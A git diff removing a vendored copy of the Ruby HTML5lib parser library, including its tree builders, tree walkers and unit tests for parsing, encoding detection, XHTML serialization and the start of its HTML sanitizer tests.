-            childNodes[index-1].value += node.value
-          else
-            childNodes.insert index, node
-          end
-        end
-
-        def printTree indent=0
-          tree = "\n|%s%s" % [' '* indent, self.to_s]
-          for child in childNodes
-            tree += child.printTree(indent + 2)
-          end
-          return tree
-        end
-
-        def hasContent
-          childNodes.length > 0
-        end
-      end
-
-      class Element < Node
-        def to_s
-           "<#{name}>"
-        end
-
-        def printTree indent=0
-          tree = "\n|%s%s" % [' '* indent, self.to_s]
-          indent += 2
-          for name, value in attributes
-            tree += "\n|%s%s=\"%s\"" % [' ' * indent, name, value]
-          end
-          for child in childNodes
-            tree += child.printTree(indent)
-          end
-          tree
-        end
-      end
-
-      class Document < Node
-        def to_s
-           "#document"
-        end
-
-        def initialize
-          super nil
-        end
-
-        def printTree indent=0
-          tree = to_s
-          for child in childNodes
-            tree += child.printTree(indent + 2)
-          end
-          tree
-        end
-      end
-
-      class DocumentType < Node
-        attr_accessor :public_id, :system_id
-
-        def to_s
-          "<!DOCTYPE #{name}>"
-        end
-
-        def initialize name
-          super name
-          @public_id = nil
-          @system_id = nil
-        end
-      end
-
-      class DocumentFragment < Element
-        def initialize
-          super nil
-        end
-
-        def printTree indent=0
-          tree = ""
-          for child in childNodes
-            tree += child.printTree(indent+2)
-          end
-          return tree
-        end
-      end
-
-      class TextNode < Node
-        def initialize value
-          super nil
-          @value = value
-        end
-
-        def to_s
-           '"%s"' % value
-        end
-      end
-
-      class CommentNode < Node
-        def initialize value
-          super nil
-          @value = value
-        end
-
-        def to_s
-          "<!-- %s -->" % value
-        end
-      end
-
-      class TreeBuilder < Base::TreeBuilder
-        def initialize
-          @documentClass = Document
-          @doctypeClass  = DocumentType
-          @elementClass  = Element
-          @commentClass  = CommentNode
-          @fragmentClass = DocumentFragment
-        end
-
-        def testSerializer node
-          node.printTree
-        end
-
-        def get_fragment
-          @document = super
-          @document
-        end
-      end
-
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers.rb
deleted file mode 100644
index f5d6d956..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-require 'html5/treewalkers/base'
-
-module HTML5
-  module TreeWalkers
-
-    class << self
-      def [](name)
-        case name.to_s.downcase
-        when 'simpletree'
-          require 'html5/treewalkers/simpletree'
-          SimpleTree::TreeWalker
-        when 'rexml'
-          require 'html5/treewalkers/rexml'
-          REXML::TreeWalker
-        when 'hpricot'
-          require 'html5/treewalkers/hpricot'
-          Hpricot::TreeWalker
-        else
-          raise "Unknown TreeWalker #{name}"
-        end
-      end
-
-      alias :get_tree_walker :[]
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/base.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/base.rb
deleted file mode 100644
index 9824cf27..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/base.rb
+++ /dev/null
@@ -1,162 +0,0 @@
-require 'html5/constants'
-module HTML5
-module TreeWalkers
-
-module TokenConstructor
-  def error(msg)
-    {:type => "SerializeError", :data => msg}
-  end
-
-  def normalize_attrs(attrs)
-    attrs.to_a
-  end
-
-  def empty_tag(name, attrs, has_children=false)
-    error(_("Void element has children")) if has_children
-    {:type => :EmptyTag, :name => name, :data => normalize_attrs(attrs)}
-  end
-
-  def start_tag(name, attrs)
-    {:type => :StartTag, :name => name, :data => normalize_attrs(attrs)}
-  end
-
-  def end_tag(name)
-    {:type => :EndTag, :name => name, :data => []}
-  end
-
-  def text(data)
-    if data =~ /\A([#{SPACE_CHARACTERS.join('')}]+)/m
-      yield({:type => :SpaceCharacters, :data => $1})
-      data = data[$1.length .. -1]
-      return if data.empty?
-    end
-
-    if data =~ /([#{SPACE_CHARACTERS.join('')}]+)\Z/m
-      yield({:type => :Characters, :data => data[0 ... -$1.length]})
-      yield({:type => :SpaceCharacters, :data => $1})
-    else
-      yield({:type => :Characters, :data => data})
-    end
-  end
-
-  def comment(data)
-    {:type => :Comment, :data => data}
-  end
-
-  def doctype(name, public_id, system_id, correct=nil)
-    {:type => :Doctype, :name => name, :public_id => public_id, :system_id => system_id, :correct => correct}
-  end
-
-  def unknown(nodeType)
-    error(_("Unknown node type: ") + nodeType.to_s)
-  end
-
-  def _(str)
-    str
-  end
-end
-
-class Base
-    include TokenConstructor
-
-    def initialize(tree)
-      @tree = tree
-    end
-
-    def each
-      raise NotImplementedError
-    end
-
-    alias walk each
-
-    def to_ary
-      a = []
-      each do |i|
-        a << i
-      end
-      a
-    end
-end
-
-class NonRecursiveTreeWalker < TreeWalkers::Base
-  def node_details(node)
-    raise NotImplementedError
-  end
-
-  def first_child(node)
-    raise NotImplementedError
-  end
-
-  def next_sibling(node)
-    raise NotImplementedError
-  end
-
-  def parent(node)
-    raise NotImplementedError
-  end
-
-  def each
-    current_node = @tree
-    while current_node != nil
-      details = node_details(current_node)
-      has_children = false
-
-      case details.shift
-      when :DOCTYPE
-        yield doctype(*details)
-
-      when :TEXT
-        text(*details) {|token| yield token}
-
-      when :ELEMENT
-        name, attributes, has_children = details
-        if VOID_ELEMENTS.include?(name)
-          yield empty_tag(name, attributes.to_a, has_children)
-          has_children = false
-        else
-          yield start_tag(name, attributes.to_a)
-        end
-
-      when :COMMENT
-        yield comment(details[0])
-
-      when :DOCUMENT, :DOCUMENT_FRAGMENT
-        has_children = true
-
-      when nil
-        # ignore (REXML::XMLDecl is an example)
-
-      else
-        yield unknown(details[0])
-      end
-
-      first_child = has_children ? first_child(current_node) : nil
-      if first_child != nil
-        current_node = first_child
-      else
-        while current_node != nil
-          details = node_details(current_node)
-          if details.shift == :ELEMENT
-            name, attributes, has_children = details
-            yield end_tag(name) if !VOID_ELEMENTS.include?(name)
-          end
-
-          if @tree == current_node
-            current_node = nil
-          else
-            next_sibling = next_sibling(current_node)
-            if next_sibling != nil
-              current_node = next_sibling
-              break
-            end
-
-            current_node = parent(current_node)
-          end
-        end
-      end
-    end
-  end
-end
-
-end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/hpricot.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/hpricot.rb
deleted file mode 100644
index a371461f..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/hpricot.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-require 'html5/treewalkers/base'
-require 'rexml/document'
-
-module HTML5
-  module TreeWalkers
-    module Hpricot
-      class TreeWalker < HTML5::TreeWalkers::NonRecursiveTreeWalker
-
-        def node_details(node)
-          case node
-          when ::Hpricot::Elem
-            if node.name.empty?
-              [:DOCUMENT_FRAGMENT]
-            else
-              [:ELEMENT, node.name,
-                node.attributes.map {|name, value| [name, value]},
-                !node.empty?]
-            end
-          when ::Hpricot::Text
-            [:TEXT, node.content]
-          when ::Hpricot::Comment
-            [:COMMENT, node.content]
-          when ::Hpricot::Doc
-            [:DOCUMENT]
-          when ::Hpricot::DocType
-            [:DOCTYPE, node.target, node.public_id, node.system_id]
-          when ::Hpricot::XMLDecl
-            [nil]
-          else
-            [:UNKNOWN, node.class.inspect]
-          end
-        end
-
-        def first_child(node)
-          node.children.first
-        end
-
-        def next_sibling(node)
-          node.next_node
-        end
-
-        def parent(node)
-          node.parent
-        end
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/rexml.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/rexml.rb
deleted file mode 100644
index 9cba0ed8..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/rexml.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-require 'html5/treewalkers/base'
-require 'rexml/document'
-
-module HTML5
-  module TreeWalkers
-    module REXML
-      class TreeWalker < HTML5::TreeWalkers::NonRecursiveTreeWalker
-
-        def node_details(node)
-          case node
-          when ::REXML::Document
-            [:DOCUMENT]
-          when ::REXML::Element
-            if !node.name
-              [:DOCUMENT_FRAGMENT]
-            else
-              [:ELEMENT, node.name,
-                node.attributes.map {|name,value| [name,value]},
-                node.has_elements? || node.has_text?]
-            end
-          when ::REXML::Text
-            [:TEXT, node.value]
-          when ::REXML::Comment
-            [:COMMENT, node.string]
-          when ::REXML::DocType
-            [:DOCTYPE, node.name, node.public, node.system]
-          when ::REXML::XMLDecl
-            [nil]
-          else
-            [:UNKNOWN, node.class.inspect]
-          end
-        end
-
-        def first_child(node)
-          node.children.first
-        end
-
-        def next_sibling(node)
-          node.next_sibling
-        end
-
-        def parent(node)
-          node.parent
-        end
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/simpletree.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/simpletree.rb
deleted file mode 100644
index 8b648fd4..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treewalkers/simpletree.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-require 'html5/treewalkers/base'
-
-module HTML5
-  module TreeWalkers
-    module SimpleTree
-      class TreeWalker < HTML5::TreeWalkers::Base
-        include HTML5::TreeBuilders::SimpleTree
-
-        def walk(node)
-          case node
-          when Document, DocumentFragment
-            return
-
-          when DocumentType
-            yield doctype(node.name, node.public_id, node.system_id)
-
-          when TextNode
-            text(node.value) {|token| yield token}
-
-          when Element
-            if VOID_ELEMENTS.include?(node.name)
-              yield empty_tag(node.name, node.attributes, node.hasContent())
-            else
-              yield start_tag(node.name, node.attributes)
-              for child in node.childNodes
-                walk(child) {|token| yield token}
-              end
-              yield end_tag(node.name)
-            end
-
-          when CommentNode
-            yield comment(node.value)
-
-          else
-            puts '?'
-            yield unknown(node.class)
-          end
-        end
-
-        def each
-          for child in @tree.childNodes
-            walk(child) {|node| yield node}
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/version.rb b/attic/vendor/plugins/HTML5lib/lib/html5/version.rb
deleted file mode 100644
index 4673962c..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/version.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module HTML5
-  VERSION = '0.10.1'
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/preamble.rb b/attic/vendor/plugins/HTML5lib/test/preamble.rb
deleted file mode 100644
index b13651ab..00000000
--- a/attic/vendor/plugins/HTML5lib/test/preamble.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-require 'test/unit'
-
-HTML5_BASE = File.dirname(File.dirname(File.dirname(File.expand_path(__FILE__)))) 
-
-if File.exists?(File.join(HTML5_BASE, 'ruby', 'testdata'))
-  TESTDATA_DIR = File.join(HTML5_BASE, 'ruby', 'testdata')
-else
-  HTML5_BASE_RUBY = File.dirname(File.dirname(File.expand_path(__FILE__)))
-  TESTDATA_DIR = File.join(HTML5_BASE_RUBY, 'testdata')
-end
-
-$:.unshift File.join(File.dirname(File.dirname(__FILE__)), 'lib')
-$:.unshift File.dirname(__FILE__)
-
-def html5_test_files(subdirectory)
-  Dir[File.join(TESTDATA_DIR, subdirectory, '*.*')]
-end
-
-require 'rubygems'
-require 'json'
-
-module HTML5
-  module TestSupport
-    # convert the output of str(document) to the format used in the testcases
-    def convertTreeDump(treedump)
-      treedump.split(/\n/)[1..-1].map { |line| (line.length > 2 and line[0] == ?|) ? line[3..-1] : line }.join("\n")
-    end
-
-    def sortattrs(output)
-      output.gsub(/^(\s+)\w+=.*(\n\1\w+=.*)+/) do |match|
-         match.split("\n").sort.join("\n")
-      end
-    end
-
-    class TestData
-      include Enumerable
-
-      def initialize(filename, sections)
-        @f = open(filename)
-        @sections = sections
-      end
-    
-      def each
-        data = {}
-        key = nil
-        @f.each_line do |line|
-          if line[0] == ?# and @sections.include?(line[1..-2])
-            heading = line[1..-2]
-            if data.any? and heading == @sections[0]
-              data[key].chomp!  #Remove trailing newline
-              yield normaliseOutput(data)
-              data = {}
-            end
-            key = heading
-            data[key]=""
-          elsif key
-            data[key] += line
-          end
-        end
-        yield normaliseOutput(data) if data
-      end
-        
-      def normaliseOutput(data)
-        #Remove trailing newlines
-        data.keys.each { |key| data[key].chomp! }
-        @sections.map {|heading| data[heading]}
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_cli.rb b/attic/vendor/plugins/HTML5lib/test/test_cli.rb
deleted file mode 100644
index 1725ffc4..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_cli.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-require "html5/cli"
-
-class TestCli < Test::Unit::TestCase
-  def test_open_input
-    assert_equal $stdin, HTML5::CLI.open_input('-')
-    assert_kind_of StringIO, HTML5::CLI.open_input('http://whatwg.org/')
-    assert_kind_of File, HTML5::CLI.open_input('testdata/sites/google-results.htm')
-  end
-  
-  def test_parse_opts
-    HTML5::CLI.parse_opts [] # TODO test defaults
-    assert_equal 'hpricot', HTML5::CLI.parse_opts(['-b', 'hpricot']).treebuilder
-    assert_equal 'hpricot', HTML5::CLI.parse_opts(['--treebuilder', 'hpricot']).treebuilder
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/test/test_encoding.rb b/attic/vendor/plugins/HTML5lib/test/test_encoding.rb
deleted file mode 100755
index f59b20fb..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_encoding.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/inputstream'
-
-class Html5EncodingTestCase < Test::Unit::TestCase
-  include HTML5
-  include TestSupport
-
-  begin
-    require 'rubygems'
-    require 'UniversalDetector'
-
-    def test_chardet #TODO: can we get rid of this?
-      file = File.open(File.join(TESTDATA_DIR, 'encoding', 'chardet', 'test_big5.txt'), 'r')
-      stream = HTML5::HTMLInputStream.new(file, :chardet => true)
-      assert_equal 'big5', stream.char_encoding.downcase
-    rescue LoadError
-      puts "chardet not found, skipping chardet tests"
-    end
-  end
-
-  html5_test_files('encoding').each do |test_file|        
-    test_name = File.basename(test_file).sub('.dat', '').tr('-', '')
-
-    TestData.new(test_file, %w(data encoding)).
-      each_with_index do |(input, encoding), index|
-
-      define_method 'test_%s_%d' % [ test_name, index + 1 ] do
-        stream = HTML5::HTMLInputStream.new(input, :chardet => false)
-        assert_equal encoding.downcase, stream.char_encoding.downcase, input
-      end
-    end
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_input_stream.rb b/attic/vendor/plugins/HTML5lib/test/test_input_stream.rb
deleted file mode 100644
index 6a7d855f..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_input_stream.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-require "test/unit"
-require "html5/inputstream"
-
-class TestHtml5Inputstream < Test::Unit::TestCase
-  def test_newline_in_queue
-    stream = HTML5::HTMLInputStream.new("\nfoo")
-    stream.unget(stream.char)
-    assert_equal [1, 0], stream.position
-  end
-  
-  def test_buffer_boundary
-    stream = HTML5::HTMLInputStream.new("abcdefghijklmnopqrstuvwxyz" * 50, :encoding => 'windows-1252')
-    1022.times{stream.char}
-    assert_equal "i", stream.char
-  end
-  
-  def test_chars_until
-    stream = HTML5::HTMLInputStream.new("aaaaaaab")
-    assert_equal "aaaaaaa", stream.chars_until("b")
-
-    stream = HTML5::HTMLInputStream.new("aaaaaaab")
-    assert_equal "aaaaaaab", stream.chars_until("c")
-    
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/test/test_lxp.rb b/attic/vendor/plugins/HTML5lib/test/test_lxp.rb
deleted file mode 100755
index e2f1ca2c..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_lxp.rb
+++ /dev/null
@@ -1,283 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/liberalxmlparser'
-
-XMLELEM = /<(\w+\s*)((?:[-:\w]+="[^"]*"\s*)+)(\/?)>/
-
-def assert_xml_equal(input, expected=nil, parser=HTML5::XMLParser)
-  sortattrs = proc {"<#{$1+$2.split.sort.join(' ')+$3}>"}
-  document = parser.parse(input.chomp, :lowercase_attr_name => false, :lowercase_element_name => false).root
-  if not expected
-    expected = input.chomp.gsub(XMLELEM,&sortattrs)
-    if expected.respond_to? :force_encoding
-      expected = expected.gsub(/&#(\d+);/) {$1.to_i.chr('utf-8')}
-    else
-      expected = expected.gsub(/&#(\d+);/) {[$1.to_i].pack('U')}
-    end
-    output = document.to_s.gsub(/'/,'"').gsub(XMLELEM,&sortattrs)
-    assert_equal(expected, output)
-  else
-    assert_equal(expected, document.to_s.gsub(/'/,'"'))
-  end
-end
-
-def assert_xhtml_equal(input, expected=nil, parser=HTML5::XHTMLParser)
-  assert_xml_equal(input, expected, parser)
-end
-
-class BasicXhtml5Test < Test::Unit::TestCase
-
-  def test_title_body_mismatched_close
-    assert_xhtml_equal(
-      '<title>Xhtml</title><b><i>content</b></i>',
-      '<html xmlns="http://www.w3.org/1999/xhtml">' +
-      '<head><title>Xhtml</title></head>' + 
-      '<body><b><i>content</i></b></body>' +
-      '</html>')
-  end
-
-  def test_title_body_named_charref
-    assert_xhtml_equal(
-      '<title>ntilde</title>A &ntilde B',
-      '<html xmlns="http://www.w3.org/1999/xhtml">' +
-      '<head><title>ntilde</title></head>' + 
-      '<body>A '+ [0xF1].pack('U') + ' B</body>' +
-      '</html>')
-  end
-end
-
-class BasicXmlTest < Test::Unit::TestCase
-
-  def test_comment
-    assert_xml_equal("<x><!-- foo --></x>")
-  end
-
-  def test_cdata
-    assert_xml_equal("<x><![CDATA[foo]]></x>","<x>foo</x>")
-  end
-
-  def test_simple_text
-    assert_xml_equal("<p>foo</p>","<p>foo</p>")
-  end
-
-  def test_optional_close
-    assert_xml_equal("<p>foo","<p>foo</p>")
-  end
-
-  def test_html_mismatched
-    assert_xml_equal("<b><i>foo</b></i>","<b><i>foo</i></b>")
-  end
-end
-
-class OpmlTest < Test::Unit::TestCase
-
-  def test_mixedCaseElement
-    assert_xml_equal(
-      '<opml version="1.0">' +
-      '<head><ownerName>Dave Winer</ownerName></head>' +
-      '</opml>')
-  end
-
-  def test_mixedCaseAttribute
-    assert_xml_equal(
-      '<opml version="1.0">' +
-      '<body><outline isComment="true"/></body>' +
-      '</opml>')
-  end
-
-  def test_malformed
-    assert_xml_equal(
-      '<opml version="1.0">' +
-      '<body><outline text="Odds & Ends"/></body>' +
-      '</opml>',
-      '<opml version="1.0">' +
-      '<body><outline text="Odds &amp; Ends"/></body>' +
-      '</opml>')
-  end
-end
-
-class XhtmlTest < Test::Unit::TestCase
-
-  def test_mathml
-    assert_xhtml_equal <<EOX
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>MathML</title></head>
-<body>
-  <math xmlns="http://www.w3.org/1998/Math/MathML">
-  <mrow>
-    <mi>x</mi>
-    <mo>=</mo>
-
-    <mfrac>
-    <mrow>
-      <mrow>
-      <mo>-</mo>
-      <mi>b</mi>
-      </mrow>
-      <mo>&#177;</mo>
-      <msqrt>
-
-      <mrow>
-        <msup>
-        <mi>b</mi>
-        <mn>2</mn>
-        </msup>
-        <mo>-</mo>
-        <mrow>
-
-        <mn>4</mn>
-        <mo>&#8290;</mo>
-        <mi>a</mi>
-        <mo>&#8290;</mo>
-        <mi>c</mi>
-        </mrow>
-      </mrow>
-
-      </msqrt>
-    </mrow>
-    <mrow>
-      <mn>2</mn>
-      <mo>&#8290;</mo>
-      <mi>a</mi>
-    </mrow>
-    </mfrac>
-
-  </mrow>
-  </math>
-</body></html>
-EOX
-  end
-
-  def test_svg
-    assert_xhtml_equal <<EOX
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>SVG</title></head>
-<body>
-  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
-  <path d="M38,38c0-12,24-15,23-2c0,9-16,13-16,23v7h11v-4c0-9,17-12,17-27
-       c-2-22-45-22-45,3zM45,70h11v11h-11z" fill="#371">
-  </path>
-  <circle cx="50" cy="50" r="45" fill="none" stroke="#371" stroke-width="10">
-  </circle>
-
-  </svg>
-</body></html>
-EOX
-  end
-
-  def test_xlink
-    assert_xhtml_equal <<EOX
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>XLINK</title></head>
-<body>
-  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
-  <defs xmlns:l="http://www.w3.org/1999/xlink">
-    <radialGradient id="s1" fx=".4" fy=".2" r=".7">
-    <stop stop-color="#FE8"/>
-    <stop stop-color="#D70" offset="1"/>
-    </radialGradient>
-    <radialGradient id="s2" fx=".8" fy=".5" l:href="#s1"/>
-    <radialGradient id="s3" fx=".5" fy=".9" l:href="#s1"/>
-    <radialGradient id="s4" fx=".1" fy=".5" l:href="#s1"/>
-  </defs>
-  <g stroke="#940">
-    <path d="M73,29c-37-40-62-24-52,4l6-7c-8-16,7-26,42,9z" fill="url(#s1)"/>
-    <path d="M47,8c33-16,48,21,9,47l-6-5c38-27,20-44,5-37z" fill="url(#s2)"/>
-    <path d="M77,32c22,30,10,57-39,51l-1-8c3,3,67,5,36-36z" fill="url(#s3)"/>
-
-    <path d="M58,84c-4,20-38-4-8-24l-6-5c-36,43,15,56,23,27z" fill="url(#s4)"/>
-    <path d="M40,14c-40,37-37,52-9,68l1-8c-16-13-29-21,16-56z" fill="url(#s1)"/>
-    <path d="M31,33c19,23,20,7,35,41l-9,1.7c-4-19-8-14-31-37z" fill="url(#s2)"/>
-  </g>
-  </svg>
-</body></html>
-EOX
-  end
-
-  def test_br
-    assert_xhtml_equal <<EOX1
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>BR</title></head>
-<body>
-<br/>
-</body></html>
-EOX1
-  end
-
-  def test_strong
-    assert_xhtml_equal <<EOX
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>STRONG</title></head>
-<body>
-<strong></strong>
-</body></html>
-EOX
-  end
-
-  def test_script
-    assert_xhtml_equal <<EOX
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>SCRIPT</title></head>
-<body>
-<script>1 &lt; 2 &amp; 3</script>
-</body></html>
-EOX
-  end
-
-  def test_script_src
-    assert_xhtml_equal <<EOX1, <<EOX2.strip
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>SCRIPT</title><script src="http://example.com"/></head>
-<body>
-<script>1 &lt; 2 &amp; 3</script>
-</body></html>
-EOX1
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>SCRIPT</title><script src="http://example.com"></script></head>
-<body>
-<script>1 &lt; 2 &amp; 3</script>
-</body></html>
-EOX2
-  end
-
-  def test_title
-    assert_xhtml_equal <<EOX
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>1 &lt; 2 &amp; 3</title></head>
-<body>
-</body></html>
-EOX
-  end
-
-  def test_prolog
-    assert_xhtml_equal <<EOX1, <<EOX2.strip
-<?xml version="1.0" encoding="UTF-8" ?>
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>PROLOG</title></head>
-<body>
-</body></html>
-EOX1
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>PROLOG</title></head>
-<body>
-</body></html>
-EOX2
-  end
-
-  def test_tagsoup
-    assert_xhtml_equal <<EOX1, <<EOX2.strip
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>TAGSOUP</title></head>
-<body>
-<u><blockquote><p></u>
-</body></html>
-EOX1
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head><title>TAGSOUP</title></head>
-<body>
-<u/><blockquote><u/><p><u/>
-</p></blockquote></body></html>
-EOX2
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_parser.rb b/attic/vendor/plugins/HTML5lib/test/test_parser.rb
deleted file mode 100644
index 5f33b28d..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_parser.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/treebuilders'
-require 'html5/html5parser'
-require 'html5/cli'
-
-$tree_types_to_test = ['simpletree', 'rexml']
-
-begin
-  require 'hpricot'
-  $tree_types_to_test.push('hpricot')
-rescue LoadError
-end
-
-class Html5ParserTestCase < Test::Unit::TestCase
-  include HTML5
-  include TestSupport
-
-  html5_test_files('tree-construction').each do |test_file|
-
-    test_name = File.basename(test_file).sub('.dat', '')
-
-    TestData.new(test_file, %w(data errors document-fragment document)).each_with_index do |(input, errors, inner_html, expected), index|
-
-      errors = errors.split("\n")
-      expected = expected.gsub("\n| ","\n")[2..-1]
-
-      $tree_types_to_test.each do |tree_name|
-        define_method 'test_%s_%d_%s' % [ test_name, index + 1, tree_name ] do
-
-          parser = HTMLParser.new(:tree => TreeBuilders[tree_name])
-
-          if inner_html
-            parser.parse_fragment(input, inner_html)
-          else
-            parser.parse(input)
-          end
-
-          actual_output = convertTreeDump(parser.tree.testSerializer(parser.tree.document))
-
-          assert_equal sortattrs(expected), sortattrs(actual_output), [
-            '', 'Input:', input,
-            '', 'Expected:', expected,
-            '', 'Recieved:', actual_output
-          ].join("\n")
-
-          actual_errors = parser.errors.map do |(line, col), message, datavars|
-            message = CLI::PythonicTemplate.new(E[message]).to_s(datavars)
-            "Line: #{line} Col: #{col} #{message}"
-          end
-
-          assert_equal errors, actual_errors, [
-            '', 'Input', input,
-            '', "Expected errors (#{errors.length}):", errors.join("\n"),
-            '', "Actual errors (#{actual_errors.length}):",
-                 actual_errors.join("\n") + "\n"
-          ].join("\n")
-        end
-      end
-    end
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_sanitizer.rb b/attic/vendor/plugins/HTML5lib/test/test_sanitizer.rb
deleted file mode 100644
index 444a0662..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_sanitizer.rb
+++ /dev/null
@@ -1,179 +0,0 @@
-#!/usr/bin/env ruby
-
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/html5parser'
-require 'html5/liberalxmlparser'
-require 'html5/treewalkers'
-require 'html5/serializer'
-require 'html5/sanitizer'
-
-class SanitizeTest < Test::Unit::TestCase
-  include HTML5
-
-  def sanitize_xhtml stream
-    XHTMLParser.parse_fragment(stream, {:tokenizer => HTMLSanitizer, :encoding => 'utf-8', :lowercase_element_name => false, :lowercase_attr_name => false}).join
-  end
-
-  def sanitize_html stream
-    HTMLParser.parse_fragment(stream, {:tokenizer => HTMLSanitizer, :encoding => 'utf-8', :lowercase_element_name => false, :lowercase_attr_name => false}).join
-  end
-
-  def sanitize_rexml stream
-    require 'rexml/document'
-    doc = REXML::Document.new("<div xmlns='http://www.w3.org/1999/xhtml'>#{stream}</div>")
-    tokens = TreeWalkers.get_tree_walker('rexml').new(doc)
-    XHTMLSerializer.serialize(tokens, {:encoding=>'utf-8',
-      :quote_char => "'",
-      :inject_meta_charset => false,
-      :sanitize => true}).gsub(/\A<div xmlns='http:\/\/www.w3.org\/1999\/xhtml'>(.*)<\/div>\Z/m, '\1')
-  rescue REXML::ParseException
-    return "Ill-formed XHTML!"
-  end
-
-  def check_sanitization(input, htmloutput, xhtmloutput, rexmloutput)
-    assert_equal htmloutput, sanitize_html(input)
-    assert_equal xhtmloutput, sanitize_xhtml(input)
-    assert_equal rexmloutput, sanitize_rexml(input)
-  end
-
-  HTMLSanitizer::ALLOWED_ELEMENTS.each do |tag_name|
-    define_method "test_should_allow_#{tag_name}_tag" do
-      input       = "<#{tag_name} title='1'>foo <bad>bar</bad> baz</#{tag_name}>"
-      htmloutput  = "<#{tag_name.downcase} title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</#{tag_name.downcase}>"
-      xhtmloutput = "<#{tag_name} title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</#{tag_name}>"
-      rexmloutput = xhtmloutput
-
-      if %w[caption colgroup optgroup option tbody td tfoot th thead tr].include?(tag_name)
-        htmloutput = "foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-      elsif tag_name == 'col'
-        htmloutput = "foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-        rexmloutput = "<col title='1' />"
-      elsif tag_name == 'table'
-        htmloutput = "foo &lt;bad&gt;bar&lt;/bad&gt;baz<table title='1'> </table>"
-        xhtmloutput = htmloutput
-      elsif tag_name == 'image'
-        htmloutput = "<img title='1'/>foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-        rexmloutput = "<image title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</image>"
-      elsif VOID_ELEMENTS.include?(tag_name)
-        htmloutput = "<#{tag_name} title='1'/>foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-        htmloutput += '<br/>' if tag_name == 'br'
-        rexmloutput =  "<#{tag_name} title='1' />"
-      end
-      check_sanitization(input, htmloutput, xhtmloutput, rexmloutput)
-    end
-  end
-
-  HTMLSanitizer::ALLOWED_ELEMENTS.each do |tag_name|
-    define_method "test_should_forbid_#{tag_name.upcase}_tag" do
-      input = "<#{tag_name.upcase} title='1'>foo <bad>bar</bad> baz</#{tag_name.upcase}>"
-      output = "&lt;#{tag_name.upcase} title=\"1\"&gt;foo &lt;bad&gt;bar&lt;/bad&gt; baz&lt;/#{tag_name.upcase}&gt;"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  HTMLSanitizer::ALLOWED_ATTRIBUTES.each do |attribute_name|
-    next if attribute_name == 'style'
